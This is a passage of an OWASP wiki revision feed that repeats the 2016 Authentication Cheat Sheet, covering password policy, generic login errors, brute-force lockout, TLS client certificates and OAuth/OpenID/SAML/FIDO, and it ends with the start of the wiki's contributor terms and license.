In order to mitigate CSRF and session hijacking, it's important to require the current credentials for an account before updating sensitive account information such as the user's password, user's email, or before sensitive transactions, such as shipping a purchase to a new address.  Without this countermeasure, an attacker may be able to execute sensitive transactions through a CSRF or XSS attack without needing to know the user's current credentials.  Additionally, an attacker may get temporary physical access to a user's browser or steal their session ID to take over the user's session.&lt;br /&gt;
&lt;br /&gt;
=== Consider Strong Transaction Authentication ===&lt;br /&gt;
&lt;br /&gt;
Some applications should use a second factor to check whether a user may perform sensitive operations. For more information see the [https://www.owasp.org/index.php/Transaction_Authorization_Cheat_Sheet Transaction Authorization Cheat Sheet].&lt;br /&gt;
&lt;br /&gt;
==== TLS Client Authentication ====&lt;br /&gt;
&lt;br /&gt;
TLS Client Authentication, also known as two-way TLS authentication, consists of both, browser and server, sending their respective TLS certificates during the TLS handshake process. Just as you can validate the authenticity of a server by using the certificate and asking a well known Certificate Authority (CA) if the certificate is valid, the server can authenticate the user by receiving a certificate from the client and validating against a third party CA or its own CA. To do this, the server must provide the user with a certificate generated specifically for him, assigning values to the subject so that these can be used to determine what user the certificate should validate. The user installs the certificate on a browser and now uses it for the website.&lt;br /&gt;
&lt;br /&gt;
It is a good idea to do this when:&lt;br /&gt;
&lt;br /&gt;
*It is acceptable (or even preferred) that the user only has access to the website from only a single computer/browser.&lt;br /&gt;
*The user is not easily scared by the process of installing TLS certificates on his browser or there will be someone, probably from IT support, that will do this for the user.&lt;br /&gt;
*The website requires an extra step of security.&lt;br /&gt;
*It is also a good thing to use when the website is for an intranet of a company or organization.&lt;br /&gt;
&lt;br /&gt;
It is generally not a good idea to use this method for widely and publicly available websites that will have an average user. For example, it wouldn't be a good idea to implement this for a website like Facebook. While this technique can prevent the user from having to type a password (thus protecting against an average keylogger from stealing it), it is still considered a good idea to consider using both a password and TLS client authentication combined.&lt;br /&gt;
&lt;br /&gt;
For more information, see: [https://en.wikipedia.org/wiki/Transport_Layer_Security#Client-authenticated_TLS_handshake Client-authenticated TLS handshake]&lt;br /&gt;
&lt;br /&gt;
=== Authentication and Error Messages ===&lt;br /&gt;
&lt;br /&gt;
Incorrectly implemented error messages in the case of authentication functionality can be used for the purposes of user ID and password enumeration. An application should respond (both HTTP and HTML) in a generic manner.&lt;br /&gt;
&lt;br /&gt;
===== Authentication Responses =====&lt;br /&gt;
&lt;br /&gt;
An application should respond with a generic error message regardless of whether the user ID or password was incorrect. It should also give no indication to the status of an existing account.&lt;br /&gt;
&lt;br /&gt;
===== Incorrect Response Examples =====&lt;br /&gt;
&lt;br /&gt;
*&amp;quot;Login for User foo: invalid password&amp;quot; &lt;br /&gt;
*&amp;quot;Login failed, invalid user ID&amp;quot; &lt;br /&gt;
*&amp;quot;Login failed; account disabled&amp;quot; &lt;br /&gt;
*&amp;quot;Login failed; this user is not active&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===== Correct Response Example =====&lt;br /&gt;
&lt;br /&gt;
*&amp;quot;Login failed; Invalid userID or password&amp;quot;&lt;br /&gt;
&lt;br /&gt;
The correct response does not indicate if the user ID or password is the incorrect parameter and hence inferring a valid user ID. &lt;br /&gt;
&lt;br /&gt;
===== Error Codes and URLs =====&lt;br /&gt;
&lt;br /&gt;
The application may return a different HTTP Error code depending on the authentication attempt response. It may respond with a 200 for a positive result and a 403 for a negative result. Even though a generic error page is shown to a user, the HTTP response code may differ which can leak information about whether the account is valid or not.&lt;br /&gt;
&lt;br /&gt;
=== Prevent Brute-Force Attacks ===&lt;br /&gt;
&lt;br /&gt;
If an attacker is able to guess passwords without the account becoming disabled due to failed authentication attempts, the attacker has an opportunity to continue with a brute force attack until the account is compromised.  Automating brute-force/password guessing attacks on web applications is a trivial challenge. Password lockout mechanisms should be employed that lock out an account if more than a preset number of unsuccessful login attempts are made.  Password lockout mechanisms have a logical weakness. An attacker that undertakes a large number of authentication attempts on known account names can produce a result that locks out entire blocks of user accounts.  Given that the intent of a password lockout system is to protect from brute-force attacks, a sensible strategy is to lockout accounts for a period of time (e.g., 20 minutes). This significantly slows down attackers, while allowing the accounts to reopen automatically for legitimate users.&lt;br /&gt;
&lt;br /&gt;
Also, multi-factor authentication is a very powerful deterrent when trying to prevent brute force attacks since the credentials are a moving target. When multi-factor is implemented and active, account lockout may no longer be necessary.&lt;br /&gt;
&lt;br /&gt;
== Logging and Monitoring == &lt;br /&gt;
Enable logging and monitoring of authentication functions to detect attacks / failures on a real time basis&lt;br /&gt;
&lt;br /&gt;
*Ensure that all failures are logged and reviewed&lt;br /&gt;
*Ensure that all password failures are logged and reviewed&lt;br /&gt;
*Ensure that all account lockouts are logged and reviewed&lt;br /&gt;
&lt;br /&gt;
== Use of authentication protocols that require no password ==&lt;br /&gt;
&lt;br /&gt;
While authentication through a user/password combination and using multi-factor authentication is considered generally secure, there are use cases where it isn't considered the best option or even safe. An example of this are third party applications that desire connecting to the web application, either from a mobile device, another website, desktop or other situations. When this happens, it is NOT considered safe to allow the third party application to store the user/password combo, since then it extends the attack surface into their hands, where it isn't in your control. For this, and other use cases, there are several authentication protocols that can protect you from exposing your users' data to attackers.&lt;br /&gt;
&lt;br /&gt;
=== OAuth ===&lt;br /&gt;
&lt;br /&gt;
Open Authorization (OAuth) is a protocol that allows an application to authenticate against a server as a user, without requiring passwords or any third party server that acts as an identity provider. It uses a token generated by the server, and provides how the authorization flows most occur, so that a client, such as a mobile application, can tell the server what user is using the service. &lt;br /&gt;
&lt;br /&gt;
The recommendation is to use and implement OAuth 1.0a or OAuth 2.0, since the very first version (OAuth1.0) has been found to be vulnerable to session fixation.&lt;br /&gt;
&lt;br /&gt;
OAuth 2.0 relies on HTTPS for security and is currently used and implemented by API's from companies such as Facebook, Google, Twitter and Microsoft. OAuth1.0a is more difficult to use because it requires the use of cryptographic libraries for digital signatures, however does not rely on HTTPS for security and can therefore be more suited for higher risk transactions.&lt;br /&gt;
&lt;br /&gt;
=== OpenId ===&lt;br /&gt;
&lt;br /&gt;
OpenId is an HTTP-based protocol that uses identity providers to validate that a user is who he says he is. It is a very simple protocol which allows a service provider initiated way for single sign-on (SSO). This allows the user to re-use a single identity given to a trusted OpenId identity provider and be the same user in multiple websites, without the need to provide any website the password, except for the OpenId identity provider.&lt;br /&gt;
&lt;br /&gt;
Due to its simplicity and that it provides protection of passwords, OpenId has been well adopted. Some of the well known identity providers for OpenId are Stack Exchange, Google, Facebook and Yahoo!&lt;br /&gt;
&lt;br /&gt;
For non-enterprise environment, OpenId is considered a secure and often better choice, as long as the identity provider is of trust.&lt;br /&gt;
&lt;br /&gt;
=== SAML ===&lt;br /&gt;
&lt;br /&gt;
Security Assertion Markup Language (SAML) is often considered to compete with OpenId. The most recommended version is 2.0, since it is very feature complete and provides a strong security. Like with OpenId, SAML uses identity providers, but unlike it, it is XML-based and provides more flexibility. SAML is based on browser redirects which send XML data. Unlike SAML, it isn't only initiated by a service provider, but it can also be initiated from the identity provider. This allows the user to navigate through different portals while still being authenticated without having to do anything, making the process transparent.&lt;br /&gt;
&lt;br /&gt;
While OpenId has taken most of the consumer market, SAML is often the choice for enterprise applications. The reason for this is often that there are few OpenId identity providers which are considered of enterprise class (meaning that the way they validate the user identity doesn't have high standards required for enterprise identity). It is more common to see SAML being used inside of intranet websites, sometimes even using a server from the intranet as the identity provider.&lt;br /&gt;
&lt;br /&gt;
In the past few years, applications like SAP ERP and SharePoint (SharePoint by using Active Directory Federation Services 2.0) have decided to use SAML 2.0 authentication as an often preferred method for single sign-on implementations whenever enterprise federation is required for web services and web applications.&lt;br /&gt;
&lt;br /&gt;
'''See also: [[SAML Security Cheat Sheet]]'''&lt;br /&gt;
&lt;br /&gt;
=== FIDO ===&lt;br /&gt;
The Fast Identity Online (FIDO) Alliance has created two protocols to facilitate online authentication : the Universal Authentication Framework (UAF) protocol and the Universal Second Factor (U2F) protocol. While UAF focuses on passwordless authentication, U2F allows the addition of a second factor to existing password-based authentication. Both protocols are based on a public key cryptography challenge-response model. &lt;br /&gt;
&lt;br /&gt;
UAF takes advantage of existing security technologies present on devices for authentication including fingerprint sensors, cameras(face biometrics), microphones(voice biometrics), Trusted Execution Environments(TEEs), Secure Elements(SEs) and others. The protocol is designed to plug-in these device capabilities into a common authentication framework. UAF works with both native applications and web applications.&lt;br /&gt;
&lt;br /&gt;
U2F augments password-based authentication using a hardware token (typically USB) that stores cryptographic authentication keys and uses them for signing. The user can use the same token as a second factor for multiple applications. U2F works with web applications. It provides '''protection against phishing''' by using the URL of the website to lookup the stored authentication key.&lt;br /&gt;
&lt;br /&gt;
== Session Management General Guidelines  ==&lt;br /&gt;
&lt;br /&gt;
Session management is directly related to authentication. The '''Session Management General Guidelines''' previously available on this OWASP Authentication Cheat Sheet have been integrated into the [[Session Management Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== Password Managers ==&lt;br /&gt;
&lt;br /&gt;
Password managers are programs, browser plugins or web services that automate management of large number of different credentials, including memorizing and filling-in, generating random passwords on different sites etc. The web application can help password managers by:&lt;br /&gt;
&lt;br /&gt;
* using standard HTML forms for username and password input,&lt;br /&gt;
* not disabling copy and paste on HTML form fields,&lt;br /&gt;
* allowing very long passwords,&lt;br /&gt;
* not using multi-stage login schemes (username on first screen, then password),&lt;br /&gt;
* not using highly scripted (JavaScript) authentication schemes.&lt;br /&gt;
&lt;br /&gt;
== Additional Resources ==&lt;br /&gt;
&lt;br /&gt;
A PDF of this cheatsheet has been created here. https://magic.piktochart.com/output/7003174-authentication-cheat-sheet&lt;br /&gt;
&lt;br /&gt;
== Authors and Primary Editors  ==&lt;br /&gt;
&lt;br /&gt;
Eoin Keary eoinkeary[at]owasp.org &amp;lt;br/&amp;gt;&lt;br /&gt;
Jim Manico&amp;lt;br/&amp;gt;&lt;br /&gt;
Timo Goosen&amp;lt;br/&amp;gt;&lt;br /&gt;
Pawel Krawczyk&amp;lt;br/&amp;gt;&lt;br /&gt;
Sven Neuhaus&amp;lt;br/&amp;gt;&lt;br /&gt;
Manuel Aude Morales &lt;br /&gt;
&lt;br /&gt;
== Other Cheatsheets ==&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Thompsnm</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Authentication_Cheat_Sheet&amp;diff=210314</id>
		<title>Authentication Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Authentication_Cheat_Sheet&amp;diff=210314"/>
				<updated>2016-03-02T21:04:45Z</updated>
		
		<summary type="html">&lt;p&gt;Thompsnm: /* Email address as a User ID */ - change 'validation email addresses' to 'validating email addresses'&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
&amp;lt;br/&amp;gt;&amp;lt;b&amp;gt;English&amp;lt;/b&amp;gt; | [[Authentication_Cheat_Sheet_Español | Spanish]]&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
= Introduction  = &lt;br /&gt;
&lt;br /&gt;
'''Authentication''' is the process of verification that an individual, entity  or website is who it claims to be. Authentication in the context of web applications is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.&lt;br /&gt;
&lt;br /&gt;
'''Session Management''' is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forward between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally very difficult to predict.&lt;br /&gt;
&lt;br /&gt;
== Authentication General Guidelines  ==&lt;br /&gt;
&lt;br /&gt;
=== User IDs ===&lt;br /&gt;
&lt;br /&gt;
Make sure your usernames/userids are case insensitive. User 'smith' and user 'Smith' should be the same user. User names should also be unique. For high security applications usernames could be assigned and secret instead of user-defined public data.&lt;br /&gt;
&lt;br /&gt;
==== Email address as a User ID ====&lt;br /&gt;
&lt;br /&gt;
For information on validating email addresses, please visit the [https://www.owasp.org/index.php/Input_Validation_Cheat_Sheet#Email_Address_Validation input validation cheatsheet email discussion].&lt;br /&gt;
&lt;br /&gt;
=== Implement Proper Password Strength Controls ===&lt;br /&gt;
&lt;br /&gt;
A key concern when using passwords for authentication is password strength. A &amp;quot;strong&amp;quot; password policy makes it difficult or even improbable for one to guess the password through either manual or automated means. The following characteristics define a strong password: &lt;br /&gt;
&lt;br /&gt;
==== Warning ====&lt;br /&gt;
&lt;br /&gt;
The following advice is disputed. Please view the OWASP presentation,  &amp;quot;[https://www.youtube.com/watch?v=zUM7i8fsf0g Your Password Complexity Requirements are Worthless - OWASP AppSecUSA 2014]&amp;quot; for more information.&lt;br /&gt;
&lt;br /&gt;
==== Password Length ====&lt;br /&gt;
&lt;br /&gt;
Longer passwords provide a greater combination of characters and consequently make it more difficult for an attacker to guess. &lt;br /&gt;
&lt;br /&gt;
* '''Minimum''' length of the passwords should be '''enforced''' by the application.&lt;br /&gt;
** Passwords '''shorter than 10 characters''' are considered to be weak ([http://csrc.nist.gov/publications/nistpubs/800-132/nist-sp800-132.pdf]).&lt;br /&gt;
&lt;br /&gt;
While minimum length enforcement may cause problems with memorizing passwords among some users, applications should encourage them to set ''passphrases'' (sentences or combination of words) that can be much longer than typical passwords and yet much easier to remember.&lt;br /&gt;
&lt;br /&gt;
* '''Maximum''' password length should not be set '''too low''', as it will prevent users from creating passphrases. Typical maximum length is 128 characters.&lt;br /&gt;
** Passphrases shorter than 20 characters are usually considered weak if they only consist of lower case Latin characters.&lt;br /&gt;
&lt;br /&gt;
==== Password Complexity ====&lt;br /&gt;
&lt;br /&gt;
Applications should enforce password complexity rules to discourage easy to guess passwords. Password mechanisms should allow virtually any character the user can type to be part of their password, including the space character. Passwords should, obviously, be case sensitive in order to increase their complexity. Occasionally, we find systems where passwords aren't case sensitive, frequently due to legacy system issues like old mainframes that didn't have case sensitive passwords.&lt;br /&gt;
&lt;br /&gt;
The password change mechanism should require a minimum level of complexity that makes sense for the application and its user population. For example:&lt;br /&gt;
&lt;br /&gt;
*Password must meet at least 3 out of the following 4 complexity rules&lt;br /&gt;
**at least 1 uppercase character (A-Z) &lt;br /&gt;
**at least 1 lowercase character (a-z) &lt;br /&gt;
**at least 1 digit (0-9) &lt;br /&gt;
**at least 1 [[Password special characters|special character (punctuation)]] &amp;amp;mdash; do not forget to treat space as special characters too&lt;br /&gt;
*at least 10 characters &lt;br /&gt;
*at most 128 characters&lt;br /&gt;
*not more than 2 identical characters in a row (e.g., 111 not allowed)&lt;br /&gt;
&lt;br /&gt;
==== Password Topologies ====&lt;br /&gt;
&lt;br /&gt;
* Ban commonly used password topologies&lt;br /&gt;
* Force multiple users to use different password topologies&lt;br /&gt;
* Require a minimum topology change between old and new passwords&lt;br /&gt;
&lt;br /&gt;
==== Additional Information ====&lt;br /&gt;
&lt;br /&gt;
* Make sure that every character the user types in is actually included in the password. We've seen systems that truncate the password at a length shorter than what the user provided (e.g., truncated at 15 characters when they entered 20).&lt;br /&gt;
* As application's require more complex password policies, they need to be very clear about what these policies are. The required policy needs to be explicitly stated on the password change page&lt;br /&gt;
* If the new password doesn't comply with the complexity policy, the error message should describe EVERY complexity rule that the new password does not comply with, not just the 1st rule it doesn't comply with.&lt;br /&gt;
&lt;br /&gt;
=== Implement Secure Password Recovery Mechanism ===&lt;br /&gt;
&lt;br /&gt;
It is common for an application to have a mechanism that provides a means for a user to gain access to their account in the event they forget their password. Please see [[Forgot Password Cheat Sheet]] for details on this feature.&lt;br /&gt;
&lt;br /&gt;
=== Store Passwords in a Secure Fashion ===&lt;br /&gt;
&lt;br /&gt;
It is critical for a application to store a password using the right cryptographic technique. Please see [[Password Storage Cheat Sheet]] for details on this feature.&lt;br /&gt;
&lt;br /&gt;
=== Transmit Passwords Only Over TLS or Other Strong Transport ===&lt;br /&gt;
&lt;br /&gt;
See: [[Transport Layer Protection Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
The login page and all subsequent authenticated pages must be exclusively accessed over TLS or other strong transport. The initial login page, referred to as the &amp;quot;login landing page&amp;quot;, must be served over TLS or other strong transport. Failure to utilize TLS or other strong transport for the login landing page allows an attacker to modify the login form action, causing the user's credentials to be posted to an arbitrary location. Failure to utilize TLS  or other strong transport for authenticated pages after the login enables an attacker to view the unencrypted session ID and compromise the user's authenticated session.&lt;br /&gt;
&lt;br /&gt;
=== Require Re-authentication for Sensitive Features ===&lt;br /&gt;
&lt;br /&gt;
In order to mitigate CSRF and session hijacking, it's important to require the current credentials for an account before updating sensitive account information such as the user's password, user's email, or before sensitive transactions, such as shipping a purchase to a new address.  Without this countermeasure, an attacker may be able to execute sensitive transactions through a CSRF or XSS attack without needing to know the user's current credentials.  Additionally, an attacker may get temporary physical access to a user's browser or steal their session ID to take over the user's session.&lt;br /&gt;
&lt;br /&gt;
=== Consider Strong Transaction Authentication ===&lt;br /&gt;
&lt;br /&gt;
Some applications should use a second factor to check whether a user may perform sensitive operations. For more information see the [https://www.owasp.org/index.php/Transaction_Authorization_Cheat_Sheet Transaction Authorization Cheat Sheet].&lt;br /&gt;
&lt;br /&gt;
==== TLS Client Authentication ====&lt;br /&gt;
&lt;br /&gt;
TLS Client Authentication, also known as two-way TLS authentication, consists of both, browser and server, sending their respective TLS certificates during the TLS handshake process. Just as you can validate the authenticity of a server by using the certificate and asking a well known Certificate Authority (CA) if the certificate is valid, the server can authenticate the user by receiving a certificate from the client and validating against a third party CA or its own CA. To do this, the server must provide the user with a certificate generated specifically for him, assigning values to the subject so that these can be used to determine what user the certificate should validate. The user installs the certificate on a browser and now uses it for the website.&lt;br /&gt;
&lt;br /&gt;
It is a good idea to do this when:&lt;br /&gt;
&lt;br /&gt;
*It is acceptable (or even preferred) that the user only has access to the website from only a single computer/browser.&lt;br /&gt;
*The user is not easily scared by the process of installing TLS certificates on his browser or there will be someone, probably from IT support, that will do this for the user.&lt;br /&gt;
*The website requires an extra step of security.&lt;br /&gt;
*It is also a good thing to use when the website is for an intranet of a company or organization.&lt;br /&gt;
&lt;br /&gt;
It is generally not a good idea to use this method for widely and publicly available websites that will have an average user. For example, it wouldn't be a good idea to implement this for a website like Facebook. While this technique can prevent the user from having to type a password (thus protecting against an average keylogger from stealing it), it is still considered a good idea to consider using both a password and TLS client authentication combined.&lt;br /&gt;
&lt;br /&gt;
For more information, see: [https://en.wikipedia.org/wiki/Transport_Layer_Security#Client-authenticated_TLS_handshake Client-authenticated TLS handshake]&lt;br /&gt;
&lt;br /&gt;
=== Authentication and Error Messages ===&lt;br /&gt;
&lt;br /&gt;
Incorrectly implemented error messages in the case of authentication functionality can be used for the purposes of user ID and password enumeration. An application should respond (both HTTP and HTML) in a generic manner.&lt;br /&gt;
&lt;br /&gt;
===== Authentication Responses =====&lt;br /&gt;
&lt;br /&gt;
An application should respond with a generic error message regardless of whether the user ID or password was incorrect. It should also give no indication to the status of an existing account.&lt;br /&gt;
&lt;br /&gt;
===== Incorrect Response Examples =====&lt;br /&gt;
&lt;br /&gt;
*&amp;quot;Login for User foo: invalid password&amp;quot; &lt;br /&gt;
*&amp;quot;Login failed, invalid user ID&amp;quot; &lt;br /&gt;
*&amp;quot;Login failed; account disabled&amp;quot; &lt;br /&gt;
*&amp;quot;Login failed; this user is not active&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===== Correct Response Example =====&lt;br /&gt;
&lt;br /&gt;
*&amp;quot;Login failed; Invalid userID or password&amp;quot;&lt;br /&gt;
&lt;br /&gt;
The correct response does not indicate if the user ID or password is the incorrect parameter and hence inferring a valid user ID. &lt;br /&gt;
&lt;br /&gt;
===== Error Codes and URLs =====&lt;br /&gt;
&lt;br /&gt;
The application may return a different HTTP Error code depending on the authentication attempt response. It may respond with a 200 for a positive result and a 403 for a negative result. Even though a generic error page is shown to a user, the HTTP response code may differ which can leak information about whether the account is valid or not.&lt;br /&gt;
&lt;br /&gt;
=== Prevent Brute-Force Attacks ===&lt;br /&gt;
&lt;br /&gt;
If an attacker is able to guess passwords without the account becoming disabled due to failed authentication attempts, the attacker has an opportunity to continue with a brute force attack until the account is compromised.  Automating brute-force/password guessing attacks on web applications is a trivial challenge. Password lockout mechanisms should be employed that lock out an account if more than a preset number of unsuccessful login attempts are made.  Password lockout mechanisms have a logical weakness. An attacker that undertakes a large number of authentication attempts on known account names can produce a result that locks out entire blocks of user accounts.  Given that the intent of a password lockout system is to protect from brute-force attacks, a sensible strategy is to lockout accounts for a period of time (e.g., 20 minutes). This significantly slows down attackers, while allowing the accounts to reopen automatically for legitimate users.&lt;br /&gt;
&lt;br /&gt;
Also, multi-factor authentication is a very powerful deterrent when trying to prevent brute force attacks since the credentials are a moving target. When multi-factor is implemented and active, account lockout may no longer be necessary.&lt;br /&gt;
&lt;br /&gt;
== Logging and Monitoring == &lt;br /&gt;
Enable logging and monitoring of authentication functions to detect attacks / failures on a real time basis&lt;br /&gt;
&lt;br /&gt;
*Ensure that all failures are logged and reviewed&lt;br /&gt;
*Ensure that all password failures are logged and reviewed&lt;br /&gt;
*Ensure that all account lockouts are logged and reviewed&lt;br /&gt;
&lt;br /&gt;
== Use of authentication protocols that require no password ==&lt;br /&gt;
&lt;br /&gt;
While authentication through a user/password combination and using multi-factor authentication is considered generally secure, there are use cases where it isn't considered the best option or even safe. An example of this are third party applications that desire connecting to the web application, either from a mobile device, another website, desktop or other situations. When this happens, it is NOT considered safe to allow the third party application to store the user/password combo, since then it extends the attack surface into their hands, where it isn't in your control. For this, and other use cases, there are several authentication protocols that can protect you from exposing your users' data to attackers.&lt;br /&gt;
&lt;br /&gt;
=== OAuth ===&lt;br /&gt;
&lt;br /&gt;
Open Authorization (OAuth) is a protocol that allows an application to authenticate against a server as a user, without requiring passwords or any third party server that acts as an identity provider. It uses a token generated by the server, and provides how the authorization flows most occur, so that a client, such as a mobile application, can tell the server what user is using the service. &lt;br /&gt;
&lt;br /&gt;
The recommendation is to use and implement OAuth 1.0a or OAuth 2.0, since the very first version (OAuth1.0) has been found to be vulnerable to session fixation.&lt;br /&gt;
&lt;br /&gt;
OAuth 2.0 relies on HTTPS for security and is currently used and implemented by API's from companies such as Facebook, Google, Twitter and Microsoft. OAuth1.0a is more difficult to use because it requires the use of cryptographic libraries for digital signatures, however does not rely on HTTPS for security and can therefore be more suited for higher risk transactions.&lt;br /&gt;
&lt;br /&gt;
=== OpenId ===&lt;br /&gt;
&lt;br /&gt;
OpenId is an HTTP-based protocol that uses identity providers to validate that a user is who he says he is. It is a very simple protocol which allows a service provider initiated way for single sign-on (SSO). This allows the user to re-use a single identity given to a trusted OpenId identity provider and be the same user in multiple websites, without the need to provide any website the password, except for the OpenId identity provider.&lt;br /&gt;
&lt;br /&gt;
Due to its simplicity and that it provides protection of passwords, OpenId has been well adopted. Some of the well known identity providers for OpenId are Stack Exchange, Google, Facebook and Yahoo!&lt;br /&gt;
&lt;br /&gt;
For non-enterprise environment, OpenId is considered a secure and often better choice, as long as the identity provider is of trust.&lt;br /&gt;
&lt;br /&gt;
=== SAML ===&lt;br /&gt;
&lt;br /&gt;
Security Assertion Markup Language (SAML) is often considered to compete with OpenId. The most recommended version is 2.0, since it is very feature complete and provides a strong security. Like with OpenId, SAML uses identity providers, but unlike it, it is XML-based and provides more flexibility. SAML is based on browser redirects which send XML data. Unlike SAML, it isn't only initiated by a service provider, but it can also be initiated from the identity provider. This allows the user to navigate through different portals while still being authenticated without having to do anything, making the process transparent.&lt;br /&gt;
&lt;br /&gt;
While OpenId has taken most of the consumer market, SAML is often the choice for enterprise applications. The reason for this is often that there are few OpenId identity providers which are considered of enterprise class (meaning that the way they validate the user identity doesn't have high standards required for enterprise identity). It is more common to see SAML being used inside of intranet websites, sometimes even using a server from the intranet as the identity provider.&lt;br /&gt;
&lt;br /&gt;
In the past few years, applications like SAP ERP and SharePoint (SharePoint by using Active Directory Federation Services 2.0) have decided to use SAML 2.0 authentication as an often preferred method for single sign-on implementations whenever enterprise federation is required for web services and web applications.&lt;br /&gt;
&lt;br /&gt;
'''See also: [[SAML Security Cheat Sheet]]'''&lt;br /&gt;
&lt;br /&gt;
=== FIDO ===&lt;br /&gt;
The Fast Identity Online (FIDO) Alliance has created two protocols to facilitate online authentication : the Universal Authentication Framework (UAF) protocol and the Universal Second Factor (U2F) protocol. While UAF focuses on passwordless authentication, U2F allows the addition of a second factor to existing password-based authentication. Both protocols are based on a public key cryptography challenge-response model. &lt;br /&gt;
&lt;br /&gt;
UAF takes advantage of existing security technologies present on devices for authentication including fingerprint sensors, cameras(face biometrics), microphones(voice biometrics), Trusted Execution Environments(TEEs), Secure Elements(SEs) and others. The protocol is designed to plug-in these device capabilities into a common authentication framework. UAF works with both native applications and web applications.&lt;br /&gt;
&lt;br /&gt;
U2F augments password-based authentication using a hardware token (typically USB) that stores cryptographic authentication keys and uses them for signing. The user can use the same token as a second factor for multiple applications. U2F works with web applications. It provides '''protection against phishing''' by using the URL of the website to lookup the stored authentication key.&lt;br /&gt;
&lt;br /&gt;
== Session Management General Guidelines  ==&lt;br /&gt;
&lt;br /&gt;
Session management is directly related to authentication. The '''Session Management General Guidelines''' previously available on this OWASP Authentication Cheat Sheet have been integrated into the [[Session Management Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== Password Managers ==&lt;br /&gt;
&lt;br /&gt;
Password managers are programs, browser plugins or web services that automate management of large number of different credentials, including memorizing and filling-in, generating random passwords on different sites etc. The web application can help password managers by:&lt;br /&gt;
&lt;br /&gt;
* using standard HTML forms for username and password input,&lt;br /&gt;
* not disabling copy and paste on HTML form fields,&lt;br /&gt;
* allowing very long passwords,&lt;br /&gt;
* not using multi-stage login schemes (username on first screen, then password),&lt;br /&gt;
* not using highly scripted (JavaScript) authentication schemes.&lt;br /&gt;
&lt;br /&gt;
== Additional Resources ==&lt;br /&gt;
&lt;br /&gt;
A PDF of this cheatsheet has been created here. https://magic.piktochart.com/output/7003174-authentication-cheat-sheet&lt;br /&gt;
&lt;br /&gt;
== Authors and Primary Editors  ==&lt;br /&gt;
&lt;br /&gt;
Eoin Keary eoinkeary[at]owasp.org &amp;lt;br/&amp;gt;&lt;br /&gt;
Jim Manico&amp;lt;br/&amp;gt;&lt;br /&gt;
Timo Goosen&amp;lt;br/&amp;gt;&lt;br /&gt;
Pawel Krawczyk&amp;lt;br/&amp;gt;&lt;br /&gt;
Sven Neuhaus&amp;lt;br/&amp;gt;&lt;br /&gt;
Manuel Aude Morales &lt;br /&gt;
&lt;br /&gt;
== Other Cheatsheets ==&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Thompsnm</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP:Terms_of_Service&amp;diff=210313</id>
		<title>OWASP:Terms of Service</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP:Terms_of_Service&amp;diff=210313"/>
				<updated>2016-03-02T20:59:59Z</updated>
		
		<summary type="html">&lt;p&gt;Thompsnm: /* OWASP Wiki Contribution License Agreement */ - add line spacing to standardize section header display and improve readability in license agreement&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==OWASP Contributor Agreement==&lt;br /&gt;
&lt;br /&gt;
I hereby grant to OWASP a non-exclusive, irrevocable, worldwide, no-charge, transferable copyright license to use, execute, prepare derivative works of, and distribute (internally and externally) all contributions made to OWASP via this website. I understand that these contributions will be made available by OWASP under the Creative Commons Share-Alike 3.0  license below and subsequent versions of that license. If you accept this agreement and the terms of the license, select the &amp;quot;I agree&amp;quot; checkbox to confirm your acceptance. In addition, by selecting the &amp;quot;I agree&amp;quot; checkbox, you represent to OWASP that you alone created these contributions, and that you are legally entitled to make these contributions. If a third party, such as your employer, may have rights to the material, you represent that you have received permission to make these contributions. In addition, you agree to notify OWASP of any facts or circumstances that would make your representations in this agreement inaccurate in any respect.&lt;br /&gt;
&lt;br /&gt;
==OWASP Wiki Contribution License Agreement==&lt;br /&gt;
&lt;br /&gt;
Attribution-ShareAlike 3.0&lt;br /&gt;
&lt;br /&gt;
CREATIVE COMMONS CORPORATION IS NOT A LAW FIRM AND DOES NOT PROVIDE LEGAL SERVICES. DISTRIBUTION OF THIS LICENSE DOES NOT CREATE AN ATTORNEY-CLIENT RELATIONSHIP. CREATIVE COMMONS PROVIDES THIS INFORMATION ON AN &amp;quot;AS-IS&amp;quot; BASIS. CREATIVE COMMONS MAKES NO WARRANTIES REGARDING THE INFORMATION PROVIDED, AND DISCLAIMS LIABILITY FOR DAMAGES RESULTING FROM ITS USE.&lt;br /&gt;
License &lt;br /&gt;
&lt;br /&gt;
